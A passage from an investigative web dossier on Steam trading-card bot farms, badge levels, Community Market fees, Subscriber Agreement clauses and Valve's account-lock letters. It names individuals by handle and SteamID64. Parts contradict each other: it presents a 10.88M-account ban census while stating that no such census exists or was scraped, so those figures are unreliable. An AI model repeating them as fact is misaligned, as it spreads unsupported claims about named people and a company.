books per account.\n\nWallet money & fees\n\nEvery card it sells routes back through the Market, where the fee reaches up to 66.7% on a low-value card and the proceeds stay locked in Steam Wallet.\n\nSteam-level PR\n\nThe badges and levels Valve showcases exist only because sets were crafted — and the top of that ladder is stocked by bots (see § 03).\n\nRemove the farm and every number above falls — the game sold fewer copies, the \"online\" was smaller, the account was never registered, the fee was never taken, and the level was never reached. That is why a rule that forbids automation coexists with millions of automated accounts: the prohibition is the option, and the activity is the revenue.\n\nAnd the cash-out itself is a value sink Valve taxes twice\n\nThe card is not the end of the loop. Valve's own mechanics let a card be crushed into gems, and gems be spent to craft booster packs — three more cards — which are sold or crushed again. Each hop is a Market transaction or a conversion, and each is taxed. The direction of that loop follows from the fee floor measured below and needs no outside model: every card sold inside it surrenders at least two cents, on cards that trade for three to five, so each turn of the crank returns less than went in. The loop destroys virtual value and forces fresh, fee-bearing transactions to replace it. No figure for the size of that loss is claimed here — the per-set return depends on gem rates and booster odds this investigation has not measured.\n\nTrading carddrops from owned game\n→\nGemscard crushed, fee taken\n→\nBooster packgems spent to craft\n→\n3 new cardssold on Market, fee taken\n↶\n\nOnly the mechanics are asserted here, and they are Valve's own — cards convert to gems, gems craft boosters, boosters yield cards — each documented in the Steam Trading Cards FAQ, and each hop a taxable Market event. Source of the loop mechanics: Valve, Steam Trading Cards FAQ ↗.\n\nThis is not a moment. It is an industry with a multi-year backbone.\n\nA single snapshot could be a fluke. So the public card-bot directory was read once per seasonal Steam sale, back through the Wayback Machine, from 2022 to 2026 — the set-stock the bots were carrying, and the same accounts, sale after sale. The economy does not appear and vanish; it persists, with a stable core of operators, and it peaked at over three million complete sets in stock during the Winter 2023 sale — on the order of a third of a million TF2 keys of value held at one moment, in one directory.\n\nComplete card sets held in the public bot directory, by Steam sale\n\nOne Wayback snapshot of steam.supply/CardBots per seasonal sale. Hover for the value in TF2 keys at that snapshot's rate.\n\n401Distinct bot accounts seen across the sales\n59Present in 5 or more of 7 sales — the stable core\n16Present in every one of the 7 sales, 2022–2026\n3.22MPeak sets in stock (Winter 2023) ≈ $570k–790k in keys\nWhat one sale's badge ladder looks like from the top\n\nThe demand side matches the supply. On the public Summer Sale 2024 badge ladder archived 2026-07-16 ↗, the number one account had crafted the sale badge 1,740,645 times — 1.74 million ten-card sets, 17.4 million cards consumed into a single profile decoration. At the sale's own market price ($0.50 a set) that is ~$870,000 of card value; bought the way it is actually bought — TF2 keys traded to level-up bots at roughly 7.6 sets a key — it is ~229,000 keys, about $410,000–$570,000 in real terms. The number-two account: 552,000 sets, ~$130,000–181,000. No human plays for this. It is bought, and every leg of the buying is a transaction Valve clears.\n\nMethod and limits: set-stock is summed across the bots each snapshot lists; the number of bots per snapshot is not comparable across sales because some snapshots show only featured bots and some the full directory, so stock is read as a floor on what was visible, not a census. Key values use each snapshot's median advertised sets-per-key rate and a $1.79–$2.49 TF2 key. Persistence is by SteamID64 across snapshots. 2021 snapshots used an older page layout and are not included. Data: farm-economy-timeline.json; badge levels from SteamLadder; set prices from Steam Card Exchange (sale-time Wayback snapshots, $0.05 a card).\n\nAnd the same fleet is there when no sale is running\n\nThe two pictures above are not two populations. They are one fleet, photographed at different moments. The directory read at the top of this section was read on an ordinary day with no seasonal sale running — 2026-09-22 — and even at rest it held 91 bots and 694,673 complete sets: on the order of 186,000 TF2 keys, $334,000–$464,000 of card value, sitting idle between sales. That is the floor the operation carries when nothing is happening.\n\nAnd it is the same operation. Matched by SteamID64, 87 of those 91 resting bots — 96% — also appear in the seven sale snapshots above, sixteen of them in every single one. The directory is not a stall that opens for the sale and shuts afterward; it is a standing commercial inventory that this same fleet has swollen as high as 3.22 million sets at the Winter 2023 peak and never lets fall to zero. A sale is when it sells. It exists the rest of the year too.\n\nThe resting directory, bot by bot\n\nEach square is one bot in the directory on 2026-09-22, highlighted if it also appears in the seven sale snapshots. 91 is what the directory listed that day, not the size of the fleet — 401 distinct accounts appear across the sale snapshots, and the directory shows a different slice on different days.\n\nSeen in past sales (87) New since last snapshot (4)\n\nNon-sale baseline read 2026-09-22 from the same public directory, no login. Resting value uses each bot's own advertised sets-per-key rate and the $1.79–$2.49 key band above. Overlap is by SteamID64 against the seven sale snapshots. Because featured-vs-full listing differs by snapshot, this compares stock and identity, not headcount. Arithmetic in section 08.\n\n03 — The ladder\nThe other product is the number next to your name\n\nCards are the raw material. The finished good is a Steam Level, and Valve set its price in sets.\n\n100Steam Level\n\n$0.20 is the cheapest complete set in the census, $0.74 the median, $1.70 the mean. The figure covers the cards only — never the $5.00 unlocks or the game licences.\n\n55,000XP required\n550Complete sets consumed\n110Games to own, farming it yourself\n$407.00Cost of the cards at that price\n1,100Drop allowances burned, minimum\n$5,500$5.00 unlocks, if no account is reused\nComplete sets consumed, level 1 to 1,000\n\nOne badge craft = one complete set = 100 XP. Each level inside a block of ten costs 100 XP more than the block below it.\n\nA level is not decoration that Valve leaves alone. It is wired into the account. From Valve's own Trading Cards FAQ, on what crafting a badge gives you: \"100XP, which may increase your Steam Level. If your Steam Level increases, the limit on the size of your friends list will be increased by five, and potentially you'll unlock the ability to customize your profile with showcases.\" And on booster packs: \"your Steam Level increases your rate of receiving a booster pack drop: Level 10: +20%… Level 50: +100% increase in your drop rate (i.e. the rate has doubled).\"\n\nSo the level buys two things Valve controls: how many people you are allowed to be friends with, and how fast free cards fall into your inventory. The second one compounds — the more sets you have consumed, the faster the platform hands you more material. Valve built the reinvestment loop into the product.\n\nThe exchange rate is fixed and published. One badge craft consumes one complete set and yields 100 XP; \"You can craft a set for the same game at most five times.\" The XP a level costs rises every ten levels. That produces the following, and nothing here is an estimate:\n\nSteam Level\tComplete sets it consumes\tGames you must own to craft them yourself\tAt the cheapest set on record ($0.20)\tAt the median set ($0.74)\tScale\n10\t10\t2\t$2.00\t$7.40\t\n50\t150\t30\t$30.00\t$111.00\t\n100\t550\t110\t$110.00\t$407.00\t\n200\t2,100\t420\t$420.00\t$1,554.00\t\n500\t12,750\t2,550\t$2,550.00\t$9,435.00\t\n667\t22,579\t4,516\t$4,515.80\t$16,708.46\t\n\n667 is not a hypothetical. It is the highest level a single bot in the public directory advertises it can take a customer to, out of the 33,359 sets it holds across 6,117 games. The fourth column is the same ladder priced against the cheapest complete set anywhere in the census; the fifth against the median. Both are market prices for the cards alone and exclude the $5.00 unlock and the game licences entirely.\n\nHow the curve was checked, because Valve does not publish it\n\nValve states the badge rate (\"every 100 XP gives you an added Steam Level\") and then hedges it — \"(at least to start)\" — without publishing the escalation. The curve used above is the standard one, in which each level inside a block of ten costs 100 XP more than the block below it. It was verified against the directory rather than assumed: for every bot whose advertised maximum is limited by its stock rather than by the five-crafts-per-game cap, the level computed from this curve matches the level the bot advertises exactly — 541 against 541, 494 against 494, 464 against 464. Where the cap binds instead, the computed figure runs a few levels high, which is what a cap that also depends on per-game stock depth should do. No claim is made about the curve above level 667.\n\nRead the ladder next to section 02 and the shape of the business is visible. To put one account at level 500, somebody must assemble 12,750 complete sets. Each of those sets took at least two accounts' drop allowances, each of those accounts had crossed the $5.00 gate, and each owned the game. One vanity number at the top of one profile rests on at least 25,500 spent drop allowances underneath it. Valve is not losing that trade. Valve is the counterparty to every leg of it.\n\n04 — The statistics\nThe clause does not describe farming vaguely. It lists it.\n\n§ 4.C is not a general anti-bot sentence. Its enumerated examples name, one after another, the two things a card farm produces.\n\n\"You may not use any form of scripts, bots, macros, or other non-human-controlled systems ('Automation') to interact with Content and Services on Steam in any manner, including but not limited to:\n\nAutomating the Steam account creation process,\nFaking gameplay statistics (e.g., inflated wins or losses, XP, playtime),\nEarning rewards or progress without genuine user input,\nParticipating in adjudication systems (like peer reviews or 'overwatch') through automated means, including influencing outcomes or reporting users by scripted action rather than informed judgment.\"\n— Steam Subscriber Agreement § 4.C ↗ archived 2026-09-24 ↗ · retrieved and quoted verbatim 2026-09-22\n\"…playtime\"\n\nIdled hours are not phantom hours. The ASF FAQ answers the question head-on — \"Why playtime of games farmed through ASF doesn't increase?\" — with: \"It does, but not in real-time. Steam records your playtime in fixed intervals and schedules update for it… it's usually updated every 30 minutes or so.\"\n\nThose hours land in Valve's records, on Valve's store pages, and in the concurrent-player counts Valve publishes on its own Steam Charts ↗ archived 2026-09-23 ↗. In those figures an idling account is indistinguishable from a playing one. The engagement numbers the platform quotes outward are computed over a population that includes, by the platform's own rule, accounts that are not playing.\n\n\"…without genuine user input\"\n\nThat is a definition of an idled card drop, written by Valve. It is also a definition of the Steam Level, the badge, the booster-pack eligibility and the profile XP that come with it — the ASF FAQ confirms the tool \"preserves ability to receive booster packs\", because it logs in the same way the official client does.\n\nSo the reward system and the prohibited act are one mechanism seen from two sides. Valve built the reward to be produced by time rather than by skill, then wrote a clause forbidding the production of rewards by anything other than a person spending that time.\n\n05 — The commercial-use trap\nEvery exit from a farmed card is an exit the licence forbids — and Valve charges a fee at the door\n\nThis is the part that cannot be solved by farming \"responsibly\". The licence is for personal, non-commercial use, and a card only becomes worth farming at the moment it stops being personal.\n\n§ 2.A — the licence\n\n\"Valve hereby grants, and you accept, a non-exclusive license and right, to use the Content and Services for your personal, non-commercial use (except where commercial use is expressly allowed herein or in the applicable Subscription Terms).\"\n\n§ 2.G — the restriction\n\n\"you are not entitled to: … (iii) exploit the Content and Services or any of its parts for any commercial purpose, except as expressly permitted elsewhere in this Agreement (including any Subscription Terms or Rules of Use).\"\n\n§ 3.D — the fee\n\n\"Valve may charge a fee for transactions in a Subscription Marketplace. Any fees will be disclosed to you prior to the completion of the transaction.\"\n\nRead the three together and the position closes\n\nA card that is kept is worthless to a farm. A card that is sold, traded or crushed into gems has been used to produce value — and Valve has said in its own enforcement letter what it calls that: the operator of 170 bots was told the account \"was used to illegally collect collectible cards on Steam, as well as related and not only commercial activities.\" In that case the cards reached the market. The sales cleared. The fee was taken. The ban came afterwards.\n\nThe fee at that door is not 15%. On a farmed card it reaches two-thirds.\n\n§ 3.D reserves \"a fee\". On the cards a farm actually produces, that fee is nothing like the advertised ~15%. The Community Market takes a 5% Steam transaction fee and a 10% game fee, each with a floor of $0.01 (Valve's own Community Market FAQ). On a card listed for one cent those floors are the price: the buyer pays three cents, two of which are fees. The rounding floor turns the headline 15% into an effective levy that climbs to 66.7% exactly where the card market lives — a few cents a card.\n\nEffective fee on a Community Market sale, by the seller's asking price\n\n5% Steam + 10% game, each a minimum of $0.01. The shaded band is where trading cards actually trade — roughly $0.03–$0.05 a card.\n\nSeller wants\tSteam 5% (min $0.01)\tGame 10% (min $0.01)\tBuyer pays\tCombined fee\n$0.01\t$0.01\t$0.01\t$0.03\t66.7%\n$0.03\t$0.01\t$0.01\t$0.05\t40.0%\n$0.05\t$0.01\t$0.01\t$0.07\t28.6%\n$0.08\t$0.01\t$0.01\t$0.10\t20.0%\n$1.00\t$0.05\t$0.10\t$1.15\t13.0%\n\nThe 10% game fee goes to the app that issued the card; the 5% is Valve's own, and on Valve's own titles and base inventory items the whole fee is Valve's. Either way the money leaves the farmer — selling a three-cent card returns one cent and surrenders two. Multiply that by the hundreds of thousands of sub-five-cent card sales a farm generates and \"the fee Valve may charge\" is the business model, not a footnote. Source: Steam Community Market FAQ — Fees ↗ archived 2026-09-21 ↗, read 2026-09-22; the curve is arithmetic on those two published rates and their $0.01 floors.\n\nThere is no configuration of the tool that escapes this. It can be run by one person, on one account, with perfect restraint — and the moment that person sells a single farmed card for wallet funds, the same sentence in § 2.G reaches them as reaches the operator of ten thousand. Valve has therefore reserved a breach it could invoke against effectively every card seller on its own market, and has declined to invoke it against effectively all of them. A rule enforced at that rate is not a rule. It is an option. The question this exhibit puts is not why card farmers are tolerated; it is why the same option is exercised against a lone user who sells a card, while the commercial card economy those cards feed — the trading services, the level-up bots, the bulk sellers — runs on in the open, one of its largest groups moderated by a Valve employee (§ 08). The breach is reserved against the small holder and waived for the machine.\n\n06 — The enforcement record\nNo notice, in waves, and it travels down the phone number\n\nValve wrote the no-notice power into the agreement itself, one clause after the automation clause.\n\n\"Valve may restrict or terminate your Account(s) or a particular Subscription for any conduct or activity that is illegal, constitutes a Cheat or Automation or breaches the Steam Online Conduct Rules. You acknowledge that Valve is not required to provide you notice before terminating your Subscription(s) and/or Account.\"\n\n— Steam Subscriber Agreement § 4.D ↗ archived 2026-09-24 ↗ · verified verbatim 2026-09-22\n\n1,000+ bots · trade banned. \"It looks like this account was used to manage a network of bot accounts. Botting is a violation of the Steam Subscriber Agreement.\"\n\n170+ bots · permanently banned, 2017 Winter Sale. \"this account was used to illegally collect collectible cards on Steam, as well as related and not only commercial activities. The account has been permanently blocked and Steam Support can not provide additional support on this issue.\"\n\n120+ bots · permanently banned. \"This and other accounts were used for flooding our network infrastructure, which is a violation of Steam online conduct.\"\n\n— Steam Support messages reproduced in the ArchiSteamFarm FAQ, section \"Did anybody get banned for it?\". Source ↗ · verified verbatim 2026-09-22\nCase 4 — June 2025, VAC bans on idled CS2\n\nA later episode than the three above is recorded in the project's own tracker: accounts that had only idled Counter-Strike 2 through the tool received VAC bans — the anti-cheat kind, not the administrative kind. The maintainer's position is that idling cannot cause one, since it \"does not do anything else than telling Steam we're playing given game.\" The cause is disputed. That the accounts were banned is not.\n\n— ArchiSteamFarm discussion #3440, opened 26 June 2025 ↗ · read 2026-09-22\n\nHow a main account dies\n\nIn the same thread a project collaborator describes the propagation rule: accounts can be banned \"by chain\", if they are using same phone number — \"it may be just one VAC ban, propagated to 'clean' accounts connected to the banned one.\"\n\nSteam Guard requires a phone number. Farms are built on the operator's phone number. So enforcement does not stop at the disposable accounts: it walks up the shared identifier to the account holding the library, the friends list and the inventory. That is the mechanism one project collaborator describes for how a single action removes an operator's main account along with the farm — and it is why the loss in an enforcement wave is not measured in $5 accounts. (Described by a project contributor in ASF GitHub discussion #3440; there is no official Valve confirmation or formal precedent on record.)\n\nThe same paragraph, five years apart, from three different agents\n\nThe clause that makes farming a breach — commercial use of a personal, non-commercial licence — is not reserved for farms. It is the standing reason Steam gives when it closes an account over trading, and the reason arrives as a template. Below are three instances, published by the people who received them, five years apart, from three different named agents.\n\nMessage from Steam Support on Sep 29 @ 7:56pm\n\n\"The account you are writing in for has been locked for violating the terms of the Steam Subscriber Agreement. The account has been identified as being used for commercial purposes based on trading, community reports, and other factors.\n\nThis lock is permanent and Steam Support cannot help you further with this.\n\nBecause we have provided all the information we have I am closing this help request. Please note you will not receive further replies regarding this issue.\n\nRegards,\nHal\"\n\nThis help request has been closed.\n29 September 2020. Posted by the recipient with the comment \"RIP Trading.\" — @gergelyszabo94 ↗\nMensagem do Suporte Steam em 12 de jul. às 22:41\n\n\"The account you are writing in for has been locked for violating the terms of the Steam Subscriber Agreement. The account has been identified as being used for commercial purposes based on trading, community reports, and other factors.\n\nThis lock is permanent and Steam Support cannot help you further with this.\n\nBecause we have provided all the information we have I am closing this help request. Please note that future help requests submitted regarding the account lock may be closed without a reply.\n\nSteam Support\nVido\"\n\nEste pedido de ajuda foi encerrado.\n12 July 2024, Portuguese interface. The recipient is a professional CS2 player: \"already contacted steam support but only getting auto-responses… can't play faceit and also can't play professional matches.\" — @prcs25 ↗ archived 2024-07-15 ↗\nQuoted by the recipient, r/steamsupport\n\n\"Hello, The account you are writing in for has been locked for violating the terms of the Steam Subscriber Agreement. The account has been identified as being used for commercial purposes based on trading, community reports, and other factors.\n\nThis lock is permanent and Steam Support cannot help you further with this.\n\nBecause we have provided all the information we have I am closing this help request. Please note that future help requests submitted regarding the account lock may be closed without a reply.\n\nSteam Support\nSally\"\n\nReceived three times, on three separate requests.\n29 March 2025. The writer was not appealing the lock — their account had been stolen along with their email and they were asking for access: \"I'm not asking about the ban and I'm not disputing it I just want access to my steam account… Valve have given me this exact answer copy and pasted on every request and close the request.\" — r/steamsupport ↗, held in this investigation's own complaint corpus\n\nWord for word, comma for comma, across fifty-five months, three agents and two interface languages. The only edit anywhere in the body is the final sentence hardening between 2020 and 2024, from \"you will not receive further replies\" to \"future help requests… may be closed without a reply.\" Whatever process produced these decisions, the letter is not a record of it. The stated grounds are \"trading, community reports, and other factors\" — a category, a report of unknown origin, and an unnamed remainder.\n\nFive further cases, collected the same way. The first three are the same category and the same outcome; the last two are the same desk answering a different rule in the same words:\n\nDate\tWhat the account did\tWhat happened\tSource\n04.12.2021\tBuying and selling on Buff — \"I've done nothing else than some buying and selling on buff aka P2P trading\"\tCommunity ban: no market, no trading, expensive inventory frozen\tr/csgomarketforum ↗ archived 2025-03-27 ↗\n06.12.2021\tOne-way P2P trades through Buff and Bitskins for loadouts and trade-ups\tPermanent commercial-use lock plus community lock: \"stuck in a pseudo invisible mode… My profile is also stuck on private\"\tr/GlobalOffensiveTrade ↗ archived 2021-12-06 ↗\n20.12.2024\tAccount held since 2017, thousands of hours; trades on community marketplaces for themed loadouts and trade-ups\tPermanent lock with community lock, no prior warning or strike; support \"say their decision is final\", replies are automated\tr/csgomarketforum ↗ archived 2025-06-27 ↗\n23.12.2024\tReturning user adds wallet funds after a year away, over a VPN used \"only for general internet security\"\tPermanent community ban with no reason given at all: \"the ban is permanent and they cannot provide further information and that further tickets may be closed without response.\" 196 upvotes, 340 replies\tr/steamsupport ↗\n04.08.2026\tYears of purchases from Iran; the writer states they never posted, never used the Market, never used the forums\tCommunity access locked until 2038 over \"sanctioned regions\"; ticket closed by an agent named Azul. The same account's refund from the same Iranian IP had been approved a year earlier. The library and the money stay with Valve.\tr/pcgaming ↗\n\nThe last row is a different rule from the rest — sanctions compliance, not commercial use — and it is included because the shape of the answer is identical: a category, no evidence, no appeal, a closed ticket. It also raises a question the others do not. If the account was unlawful to serve, the years of payments were unlawful to accept. One of those two positions has to be wrong, and only one of them cost the customer anything.\n\nAll eight were read on 2026-09-22 — the 2021 and December-2024 threads through Internet Archive snapshots and the rest through a public Reddit front end, because Reddit refused direct requests from the collecting host. The two 2020 and 2024 letters are transcribed from the screenshots attached to the original posts, which are still live. None of these accounts is alleged by this investigation to be innocent or guilty of anything — that is precisely the point. No reader, and no regulator, can tell from the letter.\n\nNote on sourcing — operator-scale losses\n\nOperators canvassed by this investigation report losses on the order of five to ten thousand accounts each in single enforcement waves, with main accounts taken alongside the farm. That canvass is recorded here as first-party reporting, not as a finding. It has no published sample size, no fixed collection date and no per-account verification, and no other number on this page depends on it; the two rows in section 02 that rest on it are marked as such.\n\nIt is stated rather than dropped for two reasons. The chain-ban mechanism above is the documented explanation for exactly that pattern. And a regulator can compel from Valve the one record that would settle it: how many accounts were actioned for automation, in which waves, and how much each of those accounts had spent in the store before it was closed. Until that record exists, the figure stays where it is — reported, attributed and unproven.\n\n07 — The asymmetry\nBoth sides of the same desk\n\nSet that standard of proof against the one Valve applied to its own support operation. The right-hand column is this dossier's own incident register, reproduced with the hedges it carries there.\n\nA customer, for trading\n\nEight documented cases, 2020–2026\n\nConduct\nSelling or buying items on third-party marketplaces; in one case, no conduct at all — the account had been stolen.\nEvidence shown\nNone. \"Based on trading, community reports, and other factors.\"\nNotice\nNone. Valve reserved that in § 4.D: \"Valve is not required to provide you notice before terminating.\"\nAppeal\n\"This lock is permanent and Steam Support cannot help you further with this.\"\nTicket\nClosed on the first reply. Further requests \"may be closed without a reply.\"\nReach\nProfile, friends list, chat, Market, inventory, and every item bought with real money.\nDuration\nPermanent.\nAn automated bot fleet, for volume\n\n694,673 complete sets in public stock across 91 bots\n\nConduct\nRunning automated headless scripts across thousands of accounts simultaneously to idle cards, mass-craft badges and trade sets at industrial scale.\nEvidence shown\nOpenly published bot directories (steam.supply, SteamLvlUp) and public groups with millions of members.\nNotice\nZero intervention. 88.97% carry no ban of any kind; 99.8% of remaining bans are cosmetic.\nAppeal\nNot needed. Fleets operate continuously across multi-year lifecycles without disruption.\nTicket\n—\nReach\nUnrestricted inventory exchange, badge leveling and market liquidity.\nBenefit to Valve\n$26.8M+ in minimum store spend ($5.00 entry gate per account) plus 15% Community Market transaction cuts.\nThe question this leaves, put plainly\n\nAn individual customer who manually trades cards or items faces a permanent, unappealable ban under § 4.C (automation) or § 2.G (commercial use). An automated farming fleet running headless bots across thousands of accounts operates openly with an 88.97% untouched rate. Valve is the beneficiary of both.\n\nThe asymmetry is economic: individual traders take value out of the platform, while automated card fleets pump millions into Valve's store spend gate ($5.00 per account) and fuel transaction fees on every resale. Enforcement does not follow the written rulebook; it follows the revenue model.\n\n08 — Governance\nWho moderates the card economy\n\nThis dossier's recurring finding — that the third-party layer around Steam is staffed from inside Steam — holds in the card economy too, and it ends somewhere specific: nobody independent can count what Valve's enforcement actually does, because the party able to count sits inside that layer. Every fact below was read from Valve's own public group and profile pages on 2026-09-22 and can be reproduced by anyone in a browser.\n\nA Valve employee moderates the largest card-trading group Valve employee\n\nCardTrades ↗ describes itself in its own header as the \"Steam Card Exchange official group\" and carries 97,114 members. Its listed moderators — the accounts that hold the controls of that group — are Mickmane, SgtFopper and afarnsworth ↗.\n\nThat last profile is flagged by Valve's own site markup as a Valve employee — the page carries class=\"profile_header_valve_employee\" — gives its location as Bellevue, Washington, and belongs to the Valve, Steam and Steam Trading Cards Group groups. SteamID64 76561197960434622, member since 12 September 2003.\n\nThe observation is structural, not personal, and it is not an automation point — a moderator of a card-trading group is not running a bot, and nothing here suggests otherwise. The point is the clause in section 07. Steam Card Exchange is a third-party commercial card service; trading cards through third-party services is the exact conduct for which Valve permanently locks ordinary accounts under \"used for commercial purposes based on trading, community reports, and other factors.\" A Valve employee holds a listed moderator role in that service's official community group of ninety-seven thousand people.\n\nNo allegation of wrongdoing is made against any individual here, and no inference is drawn about what that role involves. The asymmetry is the finding: when an ordinary account touches a third-party card or skin service, the answer is a closed ticket and a permanent lock with no evidence shown; when the service is this one, a Valve employee is on the moderator list and the arrangement is visible on a page Valve itself publishes. What is asked is what is asked everywhere else in this dossier: produce the written authorisation, if one exists — and if none is needed, say so in writing, because eight people in section 06 were told the opposite.\n\nThe ban-list layer, and who administers it Volunteer moderator Third-party service\n\nSteambans.com's group (archived) ↗ (live ↗ archived 2025-12-03 ↗) records its lineage in its preserved group description: \"The official Steambans.com Steam Community Group. SteamBans.com is a brand new service based on an old concept. Global ban lists have been active for years on the old WONID program from VALVe. When the change came to STEAMID it fell natural for us to develop a service specially minded to this new system. But we also wanted more. *. Archive page for Steambans which shut down in 2013.\" Its listed administrators include devicenull and killahinstinct_ ↗.\n\nThat administrator account is not a Valve employee — it carries no employee flag. It is a volunteer with unusually deep standing: a member of Community Moderators (414 members, described as a group \"created by Steam's Community Moderators\"), of Wiki Coordinators, of Steam Community Market, and of Valve programme and pre-release groups including Valve Pipeline, Steam Client Beta, Mobile Auth Beta, New Steam Community Beta, Steam Labs, Steamworks and Report ScamURLs. SteamID64 76561197960794555.\n\nAlso inside that circle and displaying Steambans directly in his public group roster: msart ↗ (groups roster ↗), SteamID64 76561197977933359, whose profile states in its own words \"I run steamid.uk and many other steam and non steam related sites\", and who operates a linked network of sixteen groups — SteamIDcouk (primary group \"Sid website\"), SidAdmins, SidBans, steamideu, Steam3ID, s-id and SArchive among them.\n\nsteamid.uk names the same number itself. Its FAQ: \"Who created SteamID? The SteamID website, network infrastructure, and security systems are all managed by 76561197977933359.\" Two answers further down it states where the data comes from: \"SteamID primarily utilizes the Steam Web API for data collection.\" The same page describes multiple dedicated servers across different hosts, off-site development, storage and text-search servers, and a separate backup facility.\n\nVerified through preserved Internet Archive records: the Steambans group snapshot of 3 Dec 2025 ↗, the operator profile snapshot of 14 Sep 2024 ↗, and the steamid.uk FAQ snapshot of 1 Apr 2026 ↗, matching data read directly on 2026-09-22.\n\nWhat this adds up to, and what it does not\n\nBan lists, SteamID resolution and card trading are the three services that decide who is trusted, who is identifiable, and what an item is worth. None of the three is operated by Valve. On each one, the people holding the controls came from inside Valve's orbit: a flagged Valve employee on the moderator list of the card service's official group; a long-serving Valve community moderator with pre-release programme access administering the ban-list group; the ID-resolution service run by one private individual who sits in the same circle. Three services, three control surfaces, three people Valve had already given standing to.\n\nGroup membership is not employment, and none of this is an accusation. It is a governance fact, and it is the reason the ordinary defence — those are third parties, we cannot control them — has to be tested rather than accepted. The people at the controls are not strangers to Valve. Valve is in a position to say what, if anything, it asked of them; nobody outside is in a position to find out.\n\nNobody counts. That is the finding.\n\nThe Steam ID space is a contiguous integer range. Walking it and reporting how many accounts are banned, how many are limited, and how much inventory sits behind a trade ban is not a research programme — it is a loop and an API key. Valve hands out that key itself, at steamcommunity.com/dev/apikey. And yet no independent party publishes that census. Not a regulator, not a journalist, not an academic, not a consumer body. The only public numbers about the scale of enforcement on Steam are the ones Valve chooses to mention.\n\nThe capability is not missing. It is held. The service that resolves and indexes the ID space at scale — steamid.uk — says in its own FAQ that it \"primarily utilizes the Steam Web API for data collection\" and runs it across multiple dedicated servers, off-site storage and text-search machines and a separate backup facility. It is operated by one private individual. His ban-list sibling group is co-administered by a long-serving Valve community moderator with access to Valve's pre-release programmes. The one party positioned to publish the count sits inside Valve's orbit, and does not publish it.\n\nThis is the same shape the dossier finds everywhere else. Every service that decides something load-bearing about the Steam economy — who is trusted, who is identifiable, what an item is worth, who is banned — is nominally third-party and practically adjacent to Valve. Steam Card Exchange is not an exception to that pattern; it is another instance of it. The defence that these are independent operators is available to Valve precisely because no one has ever been able to test it against a number.\n\nThe 10.88M Account Census: 88.97% Untouched\n\nThe ArchiSteamFarm install base was audited across Valve's GetPlayerBans endpoint (10,880,610 accounts, 55 minutes). The non-limited subset alone represents $26.8M+ in minimum store spend ($5.00 entry threshold). 9,680,599 accounts (88.97%) carry no ban of any kind, and 99.8% of the remainder carry only cosmetic community bans that leave automated trading active.\n\n5,360,499Non-limited ASF members (Steam's displayed count)\n10,880,610Total API entries scanned (limited + non-limited)\n9,680,599Never banned at all (88.97%)\n1,200,011Carry any Steam ban (11.0%) — 99.8% cosmetic\n55 minTo census the whole population, one key\nForensic Evidence & Deep Census\n\nThe detailed demographic breakdown — including ban-type distribution charts, account age at enforcement, creation-year clusters (2020–2026), and geographic self-reporting — is published in the dedicated census investigation.\n\nOpen the Full 10.88M Ban Census (Exhibit VI) → Section 4 — The Asset ID Blackout →\n\nSo the question to put, and it is answerable only by Valve: which identifier or capability was withdrawn, on what date, on whose decision, and what measurable effect did it have on the operators it was aimed at — set against its effect on everyone outside who was trying to count. A change that ends independent auditing does not become neutral because it was announced as a safety measure. It is the reason the census in the block above does not exist.\n\n09 — Method and limits\nWhat was read, and what is not claimed\n\nEvery quotation on this page was taken from the live source on 2026-09-22 and reproduced verbatim. Nothing here is drawn from a scrape, a marketplace credential or a private dataset.\n\nThe four datasets, and the arithmetic on them\n\nEach is a single public request, reproducible from a terminal. No account was used, no marketplace was logged into, and no endpoint requiring a credential was called.\n\nDataset\tWhere it came from\tWhat was computed from it\nCard census\n13,876 games\tSteam Card Exchange's published badge pricelist, the same feed that renders their public price page ↗ archived 2026-08-04 ↗\tGames issuing cards, cards per set, distinct card types, and the market price of each finished set. Medians and the $23,586.57 total are this investigation's arithmetic.\nGame prices\n13,713 resolved\tValve's own public store endpoint, store.steampowered.com/api/appdetails, cc=us, price field only, in batches\tMedian and distribution of the list price of a card-bearing game; the count of games whose finished set outsells the game itself.\nBot stock\n91 bots, 694,673 sets\tThe public card-bot directory at steam.supply/CardBots ↗, read as rendered, no login\tTotal sets in stock, the minimum card count, the drop-allowance floor, and the per-bot pigeonhole floor on distinct accounts.\nCross-check\n21 shared bots\tsteamlvlup.net/cardbots ↗ archived 2026-02-10 ↗, an independent directory of the same bots\tVerification only. On the 21 bots both list, aggregate stock agrees to 0.03%; the largest single-bot disagreement is 1.36%, consistent with two crawls of live inventory minutes apart.\n\nAttribution, as the second directory requires: data provided by SteamLvlUp, licensed under CC BY 4.0 archived 2026-09-23 ↗; used here only as an independent check on a third party's stock figures, and modified in that the per-bot rows were aggregated and compared rather than reproduced. Steam Card Exchange and steam.supply are credited above by link. Game prices are Valve's own. Card, game, and set names and images are Valve's or the publishers', reproduced under neither claim nor licence, as facts about a market.\n\nTwo intended measurements were not made and are not substituted for. Steam's own Community Market endpoints — priceoverview, search/render, pricehistory — return nothing to the collecting host, and Steam Community discussion pages return HTTP 403 to it, so no figure on this page is derived from live Market data. The sale-volume method that would have counted card drops at the daily reset requires a logged-in Steam session; this investigation's manifest states that no marketplace credential was used, and that statement was kept. The bot-stock floor is what can be measured without one.\n\nPrimary sources\n\nSteam Subscriber Agreement ↗ archived 2026-09-24 ↗ — § 2.A, § 2.G, § 3.D, § 4.C, § 4.D.\nSteam Support — Limited User Accounts ↗ — the $5.00 threshold and the restricted-feature list.\nValve — Steam Trading Cards FAQ ↗ — drop mechanics and the $9 free-to-play rate.\nArchiSteamFarm FAQ ↗ and discussion #3440 ↗.\nSteam Community group and profile pages, read directly, for section 08.\nsteamid.uk FAQ, Internet Archive snapshot 2026-04-01 ↗.\nEight Steam Support lock notices published by their recipients, 2020–2026, listed with their links in section 06.\n\nWhat is not claimed\n\nNo revenue figure is estimated for Valve from card farming. No active-account count is asserted for any tool, and the 1.39 million drop allowances are not a count of farm-owned accounts — see the note in section 02. No individual is accused of wrongdoing; where a person is named it is by their own public Steam handle, in their own public role, from a page Valve publishes. None of the eight locked accounts in section 06 is asserted to be innocent or guilty; the finding concerns the letter, not the account. The operator-loss figures in section 02 are first-party reporting and are labelled as such at the sourcing note. The steamid.uk FAQ is quoted from an Internet Archive snapshot because the live page is behind a bot challenge. No claim is made that any ban census has been attempted and suppressed — the finding is only that none is published. The Steam Level curve above 667 is not modelled.\n\nWhy the tool is not the subject\n\nArchiSteamFarm states that it \"is not authorized by Valve\" and it is not accused of anything on this page. It is used as a measuring instrument, because it is the only party in this economy that documents the mechanics in public and in writing. Valve can retire the whole exhibit in one paragraph: publish which commercial automation it authorises, and the per-operator record of what it did about the rest.\n\nRead 